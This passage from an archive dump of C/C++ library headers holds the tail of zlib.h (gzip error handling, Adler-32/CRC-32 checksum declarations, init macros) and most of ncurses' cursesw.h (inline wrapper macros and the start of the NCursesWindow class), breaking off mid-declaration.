gzclose_w() is only for use when writing or appending. The advantage to using these instead of gzclose() is that they avoid linking in zlib compression or decompression code that is not used when only reading or only writing respectively. If gzclose() is used, then both compression and decompression code will be included the application when linking to a static zlib library. */ ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); /* Returns the error message for the last error which occurred on the given compressed file. errnum is set to zlib error number. If an error occurred in the file system and not in the compression library, errnum is set to Z_ERRNO and the application may consult errno to get the exact error code. The application must not modify the returned string. Future calls to this function may invalidate the previously returned string. If file is closed, then the string previously returned by gzerror will no longer be available. gzerror() should be used to distinguish errors from end-of-file for those functions above that do not distinguish those cases in their return values. */ ZEXTERN void ZEXPORT gzclearerr OF((gzFile file)); /* Clears the error and end-of-file flags for file. This is analogous to the clearerr() function in stdio. This is useful for continuing to read a gzip file that is being written concurrently. */ #endif /* !Z_SOLO */ /* checksum functions */ /* These functions are not related to compression but are exported anyway because they might be useful in applications using the compression library. */ ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); /* Update a running Adler-32 checksum with the bytes buf[0..len-1] and return the updated checksum. If buf is Z_NULL, this function returns the required initial value for the checksum. An Adler-32 checksum is almost as reliable as a CRC-32 but can be computed much faster. Usage example: uLong adler = adler32(0L, Z_NULL, 0); while (read_buffer(buffer, length) != EOF) { adler = adler32(adler, buffer, length); } if (adler != original_adler) error(); */ ZEXTERN uLong ZEXPORT adler32_z OF((uLong adler, const Bytef *buf, z_size_t len)); /* Same as adler32(), but with a size_t length. */ /* ZEXTERN uLong ZEXPORT adler32_combine OF((uLong adler1, uLong adler2, z_off_t len2)); Combine two Adler-32 checksums into one. For two sequences of bytes, seq1 and seq2 with lengths len1 and len2, Adler-32 checksums were calculated for each, adler1 and adler2. adler32_combine() returns the Adler-32 checksum of seq1 and seq2 concatenated, requiring only adler1, adler2, and len2. Note that the z_off_t type (like off_t) is a signed integer. If len2 is negative, the result has no meaning or utility. */ ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); /* Update a running CRC-32 with the bytes buf[0..len-1] and return the updated CRC-32. If buf is Z_NULL, this function returns the required initial value for the crc. Pre- and post-conditioning (one's complement) is performed within this function so it shouldn't be done by the application. Usage example: uLong crc = crc32(0L, Z_NULL, 0); while (read_buffer(buffer, length) != EOF) { crc = crc32(crc, buffer, length); } if (crc != original_crc) error(); */ ZEXTERN uLong ZEXPORT crc32_z OF((uLong adler, const Bytef *buf, z_size_t len)); /* Same as crc32(), but with a size_t length. */ /* ZEXTERN uLong ZEXPORT crc32_combine OF((uLong crc1, uLong crc2, z_off_t len2)); Combine two CRC-32 check values into one. For two sequences of bytes, seq1 and seq2 with lengths len1 and len2, CRC-32 check values were calculated for each, crc1 and crc2. crc32_combine() returns the CRC-32 check value of seq1 and seq2 concatenated, requiring only crc1, crc2, and len2. */ /* various hacks, don't look :) */ /* deflateInit and inflateInit are macros to allow checking the zlib version * and the compiler's view of z_stream: */ ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, const char *version, int stream_size)); ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, const char *version, int stream_size)); ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, int windowBits, int memLevel, int strategy, const char *version, int stream_size)); ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, const char *version, int stream_size)); ZEXTERN int ZEXPORT inflateBackInit_ OF((z_streamp strm, int windowBits, unsigned char FAR *window, const char *version, int stream_size)); #ifdef Z_PREFIX_SET # define z_deflateInit(strm, level) \ deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream)) # define z_inflateInit(strm) \ inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream)) # define z_deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ (strategy), ZLIB_VERSION, (int)sizeof(z_stream)) # define z_inflateInit2(strm, windowBits) \ inflateInit2_((strm), (windowBits), ZLIB_VERSION, \ (int)sizeof(z_stream)) # define z_inflateBackInit(strm, windowBits, window) \ inflateBackInit_((strm), (windowBits), (window), \ ZLIB_VERSION, (int)sizeof(z_stream)) #else # define deflateInit(strm, level) \ deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream)) # define inflateInit(strm) \ inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream)) # define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ (strategy), ZLIB_VERSION, (int)sizeof(z_stream)) # define inflateInit2(strm, windowBits) \ inflateInit2_((strm), (windowBits), ZLIB_VERSION, \ (int)sizeof(z_stream)) # define inflateBackInit(strm, windowBits, window) \ inflateBackInit_((strm), (windowBits), (window), \ ZLIB_VERSION, (int)sizeof(z_stream)) #endif #ifndef Z_SOLO /* gzgetc() macro and its supporting function and exposed data structure. Note * that the real internal state is much larger than the exposed structure. * This abbreviated structure exposes just enough for the gzgetc() macro. The * user should not mess with these exposed elements, since their names or * behavior could change in the future, perhaps even capriciously. They can * only be used by the gzgetc() macro. You have been warned. */ struct gzFile_s { unsigned have; unsigned char *next; z_off64_t pos; }; ZEXTERN int ZEXPORT gzgetc_ OF((gzFile file)); /* backward compatibility */ #ifdef Z_PREFIX_SET # undef z_gzgetc # define z_gzgetc(g) \ ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g)) #else # define gzgetc(g) \ ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g)) #endif /* provide 64-bit offset functions if _LARGEFILE64_SOURCE defined, and/or * change the regular functions to 64 bits if _FILE_OFFSET_BITS is 64 (if * both are true, the application gets the *64 functions, and the regular * functions are changed to 64 bits) -- in case these are set on systems * without large file support, _LFS64_LARGEFILE must also be true */ #ifdef Z_LARGE64 ZEXTERN gzFile ZEXPORT gzopen64 OF((const char *, const char *)); ZEXTERN z_off64_t ZEXPORT gzseek64 OF((gzFile, z_off64_t, int)); ZEXTERN z_off64_t ZEXPORT gztell64 OF((gzFile)); ZEXTERN z_off64_t ZEXPORT gzoffset64 OF((gzFile)); ZEXTERN uLong ZEXPORT adler32_combine64 OF((uLong, uLong, z_off64_t)); ZEXTERN uLong ZEXPORT crc32_combine64 OF((uLong, uLong, z_off64_t)); #endif #if !defined(ZLIB_INTERNAL) && defined(Z_WANT64) # ifdef Z_PREFIX_SET # define z_gzopen z_gzopen64 # define z_gzseek z_gzseek64 # define z_gztell z_gztell64 # define z_gzoffset z_gzoffset64 # define z_adler32_combine z_adler32_combine64 # define z_crc32_combine z_crc32_combine64 # else # define gzopen gzopen64 # define gzseek gzseek64 # define gztell gztell64 # define gzoffset gzoffset64 # define adler32_combine adler32_combine64 # define crc32_combine crc32_combine64 # endif # ifndef Z_LARGE64 ZEXTERN gzFile ZEXPORT gzopen64 OF((const char *, const char *)); ZEXTERN z_off_t ZEXPORT gzseek64 OF((gzFile, z_off_t, int)); ZEXTERN z_off_t ZEXPORT gztell64 OF((gzFile)); ZEXTERN z_off_t ZEXPORT gzoffset64 OF((gzFile)); ZEXTERN uLong ZEXPORT adler32_combine64 OF((uLong, uLong, z_off_t)); ZEXTERN uLong ZEXPORT crc32_combine64 OF((uLong, uLong, z_off_t)); # endif #else ZEXTERN gzFile ZEXPORT gzopen OF((const char *, const char *)); ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile, z_off_t, int)); ZEXTERN z_off_t ZEXPORT gztell OF((gzFile)); ZEXTERN z_off_t ZEXPORT gzoffset OF((gzFile)); ZEXTERN uLong ZEXPORT adler32_combine OF((uLong, uLong, z_off_t)); ZEXTERN uLong ZEXPORT crc32_combine OF((uLong, uLong, z_off_t)); #endif #else /* Z_SOLO */ ZEXTERN uLong ZEXPORT adler32_combine OF((uLong, uLong, z_off_t)); ZEXTERN uLong ZEXPORT crc32_combine OF((uLong, uLong, z_off_t)); #endif /* !Z_SOLO */ /* undocumented functions */ ZEXTERN const char * ZEXPORT zError OF((int)); ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp)); ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table OF((void)); ZEXTERN int ZEXPORT inflateUndermine OF((z_streamp, int)); ZEXTERN int ZEXPORT inflateValidate OF((z_streamp, int)); ZEXTERN unsigned long ZEXPORT inflateCodesUsed OF ((z_streamp)); ZEXTERN int ZEXPORT inflateResetKeep OF((z_streamp)); ZEXTERN int ZEXPORT deflateResetKeep OF((z_streamp)); #if (defined(_WIN32) || defined(__CYGWIN__)) && !defined(Z_SOLO) ZEXTERN gzFile ZEXPORT gzopen_w OF((const wchar_t *path, const char *mode)); #endif #if defined(STDC) || defined(Z_HAVE_STDARG_H) # ifndef Z_SOLO ZEXTERN int ZEXPORTVA gzvprintf Z_ARG((gzFile file, const char *format, va_list va)); # endif #endif #ifdef __cplusplus } #endif #endif /* ZLIB_H */ cursesw.h 0000644 00000141067 15246445046 0006433 0 ustar 00 // * This makes emacs happy -*-Mode: C++;-*- // vile:cppmode /**************************************************************************** * Copyright (c) 1998-2014,2017 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ #ifndef NCURSES_CURSESW_H_incl #define NCURSES_CURSESW_H_incl 1 // $Id: cursesw.h,v 1.53 2017/11/21 00:37:23 tom Exp $ extern "C" { # include <curses.h> } #include <etip.h> /* SCO 3.2v4 curses.h includes term.h, which defines lines as a macro. Undefine it here, because NCursesWindow uses lines as a method. */ #undef lines /* "Convert" macros to inlines. We'll define it as another symbol to avoid * conflict with library symbols. */ #undef UNDEF #define UNDEF(name) CUR_ ##name #ifdef addch inline int UNDEF(addch)(chtype ch) { return addch(ch); } #undef addch #define addch UNDEF(addch) #endif #ifdef addchstr inline int UNDEF(addchstr)(chtype *at) { return addchstr(at); } #undef addchstr #define addchstr UNDEF(addchstr) #endif #ifdef addnstr inline int UNDEF(addnstr)(const char *str, int n) { return addnstr(str, n); } #undef addnstr #define addnstr UNDEF(addnstr) #endif #ifdef addstr inline int UNDEF(addstr)(const char * str) { return addstr(str); } #undef addstr #define addstr UNDEF(addstr) #endif #ifdef attroff inline int UNDEF(attroff)(chtype at) { return attroff(at); } #undef attroff #define attroff UNDEF(attroff) #endif #ifdef attron inline int UNDEF(attron)(chtype at) { return attron(at); } #undef attron #define attron UNDEF(attron) #endif #ifdef attrset inline chtype UNDEF(attrset)(chtype at) { return attrset(at); } #undef attrset #define attrset UNDEF(attrset) #endif #ifdef bkgd inline int UNDEF(bkgd)(chtype ch) { return bkgd(ch); } #undef bkgd #define bkgd UNDEF(bkgd) #endif #ifdef bkgdset inline void UNDEF(bkgdset)(chtype ch) { bkgdset(ch); } #undef bkgdset #define bkgdset UNDEF(bkgdset) #endif #ifdef border inline int UNDEF(border)(chtype ls, chtype rs, chtype ts, chtype bs, chtype tl, chtype tr, chtype bl, chtype br) { return border(ls, rs, ts, bs, tl, tr, bl, br); } #undef border #define border UNDEF(border) #endif #ifdef box inline int UNDEF(box)(WINDOW *win, int v, int h) { return box(win, v, h); } #undef box #define box UNDEF(box) #endif #ifdef chgat inline int UNDEF(chgat)(int n, attr_t attr, NCURSES_PAIRS_T color, const void *opts) { return chgat(n, attr, color, opts); } #undef chgat #define chgat UNDEF(chgat) #endif #ifdef clear inline int UNDEF(clear)() { return clear(); } #undef clear #define clear UNDEF(clear) #endif #ifdef clearok inline int UNDEF(clearok)(WINDOW* win, bool bf) { return clearok(win, bf); } #undef clearok #define clearok UNDEF(clearok) #else extern "C" NCURSES_IMPEXP int NCURSES_API clearok(WINDOW*, bool); #endif #ifdef clrtobot inline int UNDEF(clrtobot)() { return clrtobot(); } #undef clrtobot #define clrtobot UNDEF(clrtobot) #endif #ifdef clrtoeol inline int UNDEF(clrtoeol)() { return clrtoeol(); } #undef clrtoeol #define clrtoeol UNDEF(clrtoeol) #endif #ifdef color_set inline chtype UNDEF(color_set)(NCURSES_PAIRS_T p, void* opts) { return color_set(p, opts); } #undef color_set #define color_set UNDEF(color_set) #endif #ifdef crmode inline int UNDEF(crmode)(void) { return crmode(); } #undef crmode #define crmode UNDEF(crmode) #endif #ifdef delch inline int UNDEF(delch)() { return delch(); } #undef delch #define delch UNDEF(delch) #endif #ifdef deleteln inline int UNDEF(deleteln)() { return deleteln(); } #undef deleteln #define deleteln UNDEF(deleteln) #endif #ifdef echochar inline int UNDEF(echochar)(chtype ch) { return echochar(ch); } #undef echochar #define echochar UNDEF(echochar) #endif #ifdef erase inline int UNDEF(erase)() { return erase(); } #undef erase #define erase UNDEF(erase) #endif #ifdef fixterm inline int UNDEF(fixterm)(void) { return fixterm(); } #undef fixterm #define fixterm UNDEF(fixterm) #endif #ifdef flushok inline int UNDEF(flushok)(WINDOW* _win, bool _bf) { return flushok(_win, _bf); } #undef flushok #define flushok UNDEF(flushok) #else #define _no_flushok #endif #ifdef getattrs inline int UNDEF(getattrs)(WINDOW *win) { return getattrs(win); } #undef getattrs #define getattrs UNDEF(getattrs) #endif #ifdef getbegyx inline void UNDEF(getbegyx)(WINDOW* win, int& y, int& x) { getbegyx(win, y, x); } #undef getbegyx #define getbegyx UNDEF(getbegyx) #endif #ifdef getbkgd inline chtype UNDEF(getbkgd)(const WINDOW *win) { return getbkgd(win); } #undef getbkgd #define getbkgd UNDEF(getbkgd) #endif #ifdef getch inline int UNDEF(getch)() { return getch(); } #undef getch #define getch UNDEF(getch) #endif #ifdef getmaxyx inline void UNDEF(getmaxyx)(WINDOW* win, int& y, int& x) { getmaxyx(win, y, x); } #undef getmaxyx #define getmaxyx UNDEF(getmaxyx) #endif #ifdef getnstr inline int UNDEF(getnstr)(char *_str, int n) { return getnstr(_str, n); } #undef getnstr #define getnstr UNDEF(getnstr) #endif #ifdef getparyx inline void UNDEF(getparyx)(WINDOW* win, int& y, int& x) { getparyx(win, y, x); } #undef getparyx #define getparyx UNDEF(getparyx) #endif #ifdef getstr inline int UNDEF(getstr)(char *_str) { return getstr(_str); } #undef getstr #define getstr UNDEF(getstr) #endif #ifdef getyx inline void UNDEF(getyx)(const WINDOW* win, int& y, int& x) { getyx(win, y, x); } #undef getyx #define getyx UNDEF(getyx) #endif #ifdef hline inline int UNDEF(hline)(chtype ch, int n) { return hline(ch, n); } #undef hline #define hline UNDEF(hline) #endif #ifdef inch inline chtype UNDEF(inch)() { return inch(); } #undef inch #define inch UNDEF(inch) #endif #ifdef inchstr inline int UNDEF(inchstr)(chtype *str) { return inchstr(str); } #undef inchstr #define inchstr UNDEF(inchstr) #endif #ifdef innstr inline int UNDEF(innstr)(char *_str, int n) { return innstr(_str, n); } #undef innstr #define innstr UNDEF(innstr) #endif #ifdef insch inline int UNDEF(insch)(chtype c) { return insch(c); } #undef insch #define insch UNDEF(insch) #endif #ifdef insdelln inline int UNDEF(insdelln)(int n) { return insdelln(n); } #undef insdelln #define insdelln UNDEF(insdelln) #endif #ifdef insertln inline int UNDEF(insertln)() { return insertln(); } #undef insertln #define insertln UNDEF(insertln) #endif #ifdef insnstr inline int UNDEF(insnstr)(const char *_str, int n) { return insnstr(_str, n); } #undef insnstr #define insnstr UNDEF(insnstr) #endif #ifdef insstr inline int UNDEF(insstr)(const char *_str) { return insstr(_str); } #undef insstr #define insstr UNDEF(insstr) #endif #ifdef instr inline int UNDEF(instr)(char *_str) { return instr(_str); } #undef instr #define instr UNDEF(instr) #endif #ifdef intrflush inline void UNDEF(intrflush)(WINDOW *win, bool bf) { intrflush(); } #undef intrflush #define intrflush UNDEF(intrflush) #endif #ifdef is_linetouched inline int UNDEF(is_linetouched)(WINDOW *w, int l) { return is_linetouched(w,l); } #undef is_linetouched #define is_linetouched UNDEF(is_linetouched) #endif #ifdef leaveok inline int UNDEF(leaveok)(WINDOW* win, bool bf) { return leaveok(win, bf); } #undef leaveok #define leaveok UNDEF(leaveok) #else extern "C" NCURSES_IMPEXP int NCURSES_API leaveok(WINDOW* win, bool bf); #endif #ifdef move inline int UNDEF(move)(int x, int y) { return move(x, y); } #undef move #define move UNDEF(move) #endif #ifdef mvaddch inline int UNDEF(mvaddch)(int y, int x, chtype ch) { return mvaddch(y, x, ch); } #undef mvaddch #define mvaddch UNDEF(mvaddch) #endif #ifdef mvaddnstr inline int UNDEF(mvaddnstr)(int y, int x, const char *str, int n) { return mvaddnstr(y, x, str, n); } #undef mvaddnstr #define mvaddnstr UNDEF(mvaddnstr) #endif #ifdef mvaddstr inline int UNDEF(mvaddstr)(int y, int x, const char * str) { return mvaddstr(y, x, str); } #undef mvaddstr #define mvaddstr UNDEF(mvaddstr) #endif #ifdef mvchgat inline int UNDEF(mvchgat)(int y, int x, int n, attr_t attr, NCURSES_PAIRS_T color, const void *opts) { return mvchgat(y, x, n, attr, color, opts); } #undef mvchgat #define mvchgat UNDEF(mvchgat) #endif #ifdef mvdelch inline int UNDEF(mvdelch)(int y, int x) { return mvdelch(y, x);} #undef mvdelch #define mvdelch UNDEF(mvdelch) #endif #ifdef mvgetch inline int UNDEF(mvgetch)(int y, int x) { return mvgetch(y, x);} #undef mvgetch #define mvgetch UNDEF(mvgetch) #endif #ifdef mvgetnstr inline int UNDEF(mvgetnstr)(int y, int x, char *str, int n) { return mvgetnstr(y, x, str, n);} #undef mvgetnstr #define mvgetnstr UNDEF(mvgetnstr) #endif #ifdef mvgetstr inline int UNDEF(mvgetstr)(int y, int x, char *str) {return mvgetstr(y, x, str);} #undef mvgetstr #define mvgetstr UNDEF(mvgetstr) #endif #ifdef mvinch inline chtype UNDEF(mvinch)(int y, int x) { return mvinch(y, x);} #undef mvinch #define mvinch UNDEF(mvinch) #endif #ifdef mvinnstr inline int UNDEF(mvinnstr)(int y, int x, char *_str, int n) { return mvinnstr(y, x, _str, n); } #undef mvinnstr #define mvinnstr UNDEF(mvinnstr) #endif #ifdef mvinsch inline int UNDEF(mvinsch)(int y, int x, chtype c) { return mvinsch(y, x, c); } #undef mvinsch #define mvinsch UNDEF(mvinsch) #endif #ifdef mvinsnstr inline int UNDEF(mvinsnstr)(int y, int x, const char *_str, int n) { return mvinsnstr(y, x, _str, n); } #undef mvinsnstr #define mvinsnstr UNDEF(mvinsnstr) #endif #ifdef mvinsstr inline int UNDEF(mvinsstr)(int y, int x, const char *_str) { return mvinsstr(y, x, _str); } #undef mvinsstr #define mvinsstr UNDEF(mvinsstr) #endif #ifdef mvwaddch inline int UNDEF(mvwaddch)(WINDOW *win, int y, int x, const chtype ch) { return mvwaddch(win, y, x, ch); } #undef mvwaddch #define mvwaddch UNDEF(mvwaddch) #endif #ifdef mvwaddchnstr inline int UNDEF(mvwaddchnstr)(WINDOW *win, int y, int x, const chtype *str, int n) { return mvwaddchnstr(win, y, x, str, n); } #undef mvwaddchnstr #define mvwaddchnstr UNDEF(mvwaddchnstr) #endif #ifdef mvwaddchstr inline int UNDEF(mvwaddchstr)(WINDOW *win, int y, int x, const chtype *str) { return mvwaddchstr(win, y, x, str); } #undef mvwaddchstr #define mvwaddchstr UNDEF(mvwaddchstr) #endif #ifdef mvwaddnstr inline int UNDEF(mvwaddnstr)(WINDOW *win, int y, int x, const char *str, int n) { return mvwaddnstr(win, y, x, str, n); } #undef mvwaddnstr #define mvwaddnstr UNDEF(mvwaddnstr) #endif #ifdef mvwaddstr inline int UNDEF(mvwaddstr)(WINDOW *win, int y, int x, const char * str) { return mvwaddstr(win, y, x, str); } #undef mvwaddstr #define mvwaddstr UNDEF(mvwaddstr) #endif #ifdef mvwchgat inline int UNDEF(mvwchgat)(WINDOW *win, int y, int x, int n, attr_t attr, NCURSES_PAIRS_T color, const void *opts) { return mvwchgat(win, y, x, n, attr, color, opts); } #undef mvwchgat #define mvwchgat UNDEF(mvwchgat) #endif #ifdef mvwdelch inline int UNDEF(mvwdelch)(WINDOW *win, int y, int x) { return mvwdelch(win, y, x); } #undef mvwdelch #define mvwdelch UNDEF(mvwdelch) #endif #ifdef mvwgetch inline int UNDEF(mvwgetch)(WINDOW *win, int y, int x) { return mvwgetch(win, y, x);} #undef mvwgetch #define mvwgetch UNDEF(mvwgetch) #endif #ifdef mvwgetnstr inline int UNDEF(mvwgetnstr)(WINDOW *win, int y, int x, char *str, int n) {return mvwgetnstr(win, y, x, str, n);} #undef mvwgetnstr #define mvwgetnstr UNDEF(mvwgetnstr) #endif #ifdef mvwgetstr inline int UNDEF(mvwgetstr)(WINDOW *win, int y, int x, char *str) {return mvwgetstr(win, y, x, str);} #undef mvwgetstr #define mvwgetstr UNDEF(mvwgetstr) #endif #ifdef mvwhline inline int UNDEF(mvwhline)(WINDOW *win, int y, int x, chtype c, int n) { return mvwhline(win, y, x, c, n); } #undef mvwhline #define mvwhline UNDEF(mvwhline) #endif #ifdef mvwinch inline chtype UNDEF(mvwinch)(WINDOW *win, int y, int x) { return mvwinch(win, y, x);} #undef mvwinch #define mvwinch UNDEF(mvwinch) #endif #ifdef mvwinchnstr inline int UNDEF(mvwinchnstr)(WINDOW *win, int y, int x, chtype *str, int n) { return mvwinchnstr(win, y, x, str, n); } #undef mvwinchnstr #define mvwinchnstr UNDEF(mvwinchnstr) #endif #ifdef mvwinchstr inline int UNDEF(mvwinchstr)(WINDOW *win, int y, int x, chtype *str) { return mvwinchstr(win, y, x, str); } #undef mvwinchstr #define mvwinchstr UNDEF(mvwinchstr) #endif #ifdef mvwinnstr inline int UNDEF(mvwinnstr)(WINDOW *win, int y, int x, char *_str, int n) { return mvwinnstr(win, y, x, _str, n); } #undef mvwinnstr #define mvwinnstr UNDEF(mvwinnstr) #endif #ifdef mvwinsch inline int UNDEF(mvwinsch)(WINDOW *win, int y, int x, chtype c) { return mvwinsch(win, y, x, c); } #undef mvwinsch #define mvwinsch UNDEF(mvwinsch) #endif #ifdef mvwinsnstr inline int UNDEF(mvwinsnstr)(WINDOW *w, int y, int x, const char *_str, int n) { return mvwinsnstr(w, y, x, _str, n); } #undef mvwinsnstr #define mvwinsnstr UNDEF(mvwinsnstr) #endif #ifdef mvwinsstr inline int UNDEF(mvwinsstr)(WINDOW *w, int y, int x, const char *_str) { return mvwinsstr(w, y, x, _str); } #undef mvwinsstr #define mvwinsstr UNDEF(mvwinsstr) #endif #ifdef mvwvline inline int UNDEF(mvwvline)(WINDOW *win, int y, int x, chtype c, int n) { return mvwvline(win, y, x, c, n); } #undef mvwvline #define mvwvline UNDEF(mvwvline) #endif #ifdef napms inline void UNDEF(napms)(unsigned long x) { napms(x); } #undef napms #define napms UNDEF(napms) #endif #ifdef nocrmode inline int UNDEF(nocrmode)(void) { return nocrmode(); } #undef nocrmode #define nocrmode UNDEF(nocrmode) #endif #ifdef nodelay inline void UNDEF(nodelay)() { nodelay(); } #undef nodelay #define nodelay UNDEF(nodelay) #endif #ifdef redrawwin inline int UNDEF(redrawwin)(WINDOW *win) { return redrawwin(win); } #undef redrawwin #define redrawwin UNDEF(redrawwin) #endif #ifdef refresh inline int UNDEF(refresh)() { return refresh(); } #undef refresh #define refresh UNDEF(refresh) #endif #ifdef resetterm inline int UNDEF(resetterm)(void) { return resetterm(); } #undef resetterm #define resetterm UNDEF(resetterm) #endif #ifdef saveterm inline int UNDEF(saveterm)(void) { return saveterm(); } #undef saveterm #define saveterm UNDEF(saveterm) #endif #ifdef scrl inline int UNDEF(scrl)(int l) { return scrl(l); } #undef scrl #define scrl UNDEF(scrl) #endif #ifdef scroll inline int UNDEF(scroll)(WINDOW *win) { return scroll(win); } #undef scroll #define scroll UNDEF(scroll) #endif #ifdef scrollok inline int UNDEF(scrollok)(WINDOW* win, bool bf) { return scrollok(win, bf); } #undef scrollok #define scrollok UNDEF(scrollok) #else #if defined(__NCURSES_H) extern "C" NCURSES_IMPEXP int NCURSES_API scrollok(WINDOW*, bool); #else extern "C" NCURSES_IMPEXP int NCURSES_API scrollok(WINDOW*, char); #endif #endif #ifdef setscrreg inline int UNDEF(setscrreg)(int t, int b) { return setscrreg(t, b); } #undef setscrreg #define setscrreg UNDEF(setscrreg) #endif #ifdef standend inline int UNDEF(standend)() { return standend(); } #undef standend #define standend UNDEF(standend) #endif #ifdef standout inline int UNDEF(standout)() { return standout(); } #undef standout #define standout UNDEF(standout) #endif #ifdef subpad inline WINDOW *UNDEF(subpad)(WINDOW *p, int l, int c, int y, int x) { return derwin(p, l, c, y, x); } #undef subpad #define subpad UNDEF(subpad) #endif #ifdef timeout inline void UNDEF(timeout)(int delay) { timeout(delay); } #undef timeout #define timeout UNDEF(timeout) #endif #ifdef touchline inline int UNDEF(touchline)(WINDOW *win, int s, int c) { return touchline(win, s, c); } #undef touchline #define touchline UNDEF(touchline) #endif #ifdef touchwin inline int UNDEF(touchwin)(WINDOW *win) { return touchwin(win); } #undef touchwin #define touchwin UNDEF(touchwin) #endif #ifdef untouchwin inline int UNDEF(untouchwin)(WINDOW *win) { return untouchwin(win); } #undef untouchwin #define untouchwin UNDEF(untouchwin) #endif #ifdef vline inline int UNDEF(vline)(chtype ch, int n) { return vline(ch, n); } #undef vline #define vline UNDEF(vline) #endif #ifdef waddchstr inline int UNDEF(waddchstr)(WINDOW *win, chtype *at) { return waddchstr(win, at); } #undef waddchstr #define waddchstr UNDEF(waddchstr) #endif #ifdef waddstr inline int UNDEF(waddstr)(WINDOW *win, char *str) { return waddstr(win, str); } #undef waddstr #define waddstr UNDEF(waddstr) #endif #ifdef wattroff inline int UNDEF(wattroff)(WINDOW *win, int att) { return wattroff(win, att); } #undef wattroff #define wattroff UNDEF(wattroff) #endif #ifdef wattrset inline int UNDEF(wattrset)(WINDOW *win, int att) { return wattrset(win, att); } #undef wattrset #define wattrset UNDEF(wattrset) #endif #ifdef winch inline chtype UNDEF(winch)(const WINDOW* win) { return winch(win); } #undef winch #define winch UNDEF(winch) #endif #ifdef winchnstr inline int UNDEF(winchnstr)(WINDOW *win, chtype *str, int n) { return winchnstr(win, str, n); } #undef winchnstr #define winchnstr UNDEF(winchnstr) #endif #ifdef winchstr inline int UNDEF(winchstr)(WINDOW *win, chtype *str) { return winchstr(win, str); } #undef winchstr #define winchstr UNDEF(winchstr) #endif #ifdef winsstr inline int UNDEF(winsstr)(WINDOW *w, const char *_str) { return winsstr(w, _str); } #undef winsstr #define winsstr UNDEF(winsstr) #endif #ifdef wstandend inline int UNDEF(wstandend)(WINDOW *win) { return wstandend(win); } #undef wstandend #define wstandend UNDEF(wstandend) #endif #ifdef wstandout inline int UNDEF(wstandout)(WINDOW *win) { return wstandout(win); } #undef wstandout #define wstandout UNDEF(wstandout) #endif /* * * C++ class for windows. * */ extern "C" int _nc_ripoffline(int, int (*init)(WINDOW*, int)); extern "C" int _nc_xx_ripoff_init(WINDOW *, int); extern "C" int _nc_has_mouse(void); class NCURSES_IMPEXP NCursesWindow { friend class NCursesMenu; friend class NCursesForm; private: static bool b_initialized; static void initialize(); void constructing(); friend int _nc_xx_ripoff_init(WINDOW *, int); void set_keyboard(); NCURSES_COLOR_T getcolor(int getback) const; NCURSES_PAIRS_T getPair() const; static int setpalette(NCURSES_COLOR_T fore, NCURSES_COLOR_T back, NCURSES_PAIRS_T pair); static int colorInitialized; // This private constructor is only used during the initialization // of windows generated by ripoffline() calls. NCursesWindow(WINDOW* win, int ncols); protected: virtual void err_handler(const char *) const THROWS(NCursesException); // Signal an error with the given message text. static long count; // count of all active windows: // We rely on the c++ promise that // all otherwise uninitialized // static class vars are set to 0 WINDOW* w; // the curses WINDOW bool alloced; // TRUE if we own the WINDOW NCursesWindow* par; // parent, if subwindow NCursesWindow* subwins; // head of subwindows list NCursesWindow* sib; // next subwindow of parent void kill_subwindows(); // disable all subwindows // Destroy all subwindows. /* Only for use by derived classes. They are then in charge to fill the member variables correctly. */ NCursesWindow(); public: NCursesWindow(WINDOW* window); // useful only for stdscr NCursesWindow(int nlines, // number of lines int ncols, // number of columns int begin_y, // line origin int begin_x); // col origin NCursesWindow(NCursesWindow& par,// parent window int nlines, // number of lines int ncols, // number of columns int begin_y, // absolute or relative int begin_x, // origins: char absrel = 'a');// if `a', begin_y & begin_x are // absolute screen pos, else if `r', they are relative to par origin NCursesWindow(NCursesWindow& par,// parent window bool do_box = TRUE); // this is the very common case that we want to create the subwindow that // is two lines and two columns smaller and begins at (1,1). // We may automatically request the box around it. NCursesWindow& operator=(const NCursesWindow& rhs) { if (this != &rhs) *this = rhs; return *this; } NCursesWindow(const NCursesWindow& rhs) : w(rhs.w), alloced(rhs.alloced), par(rhs.par), subwins(rhs.subwins), sib(rhs.sib) { } virtual ~NCursesWindow(); NCursesWindow Clone(); // Make an exact copy of the window. // Initialization. static void useColors(void); // Call this 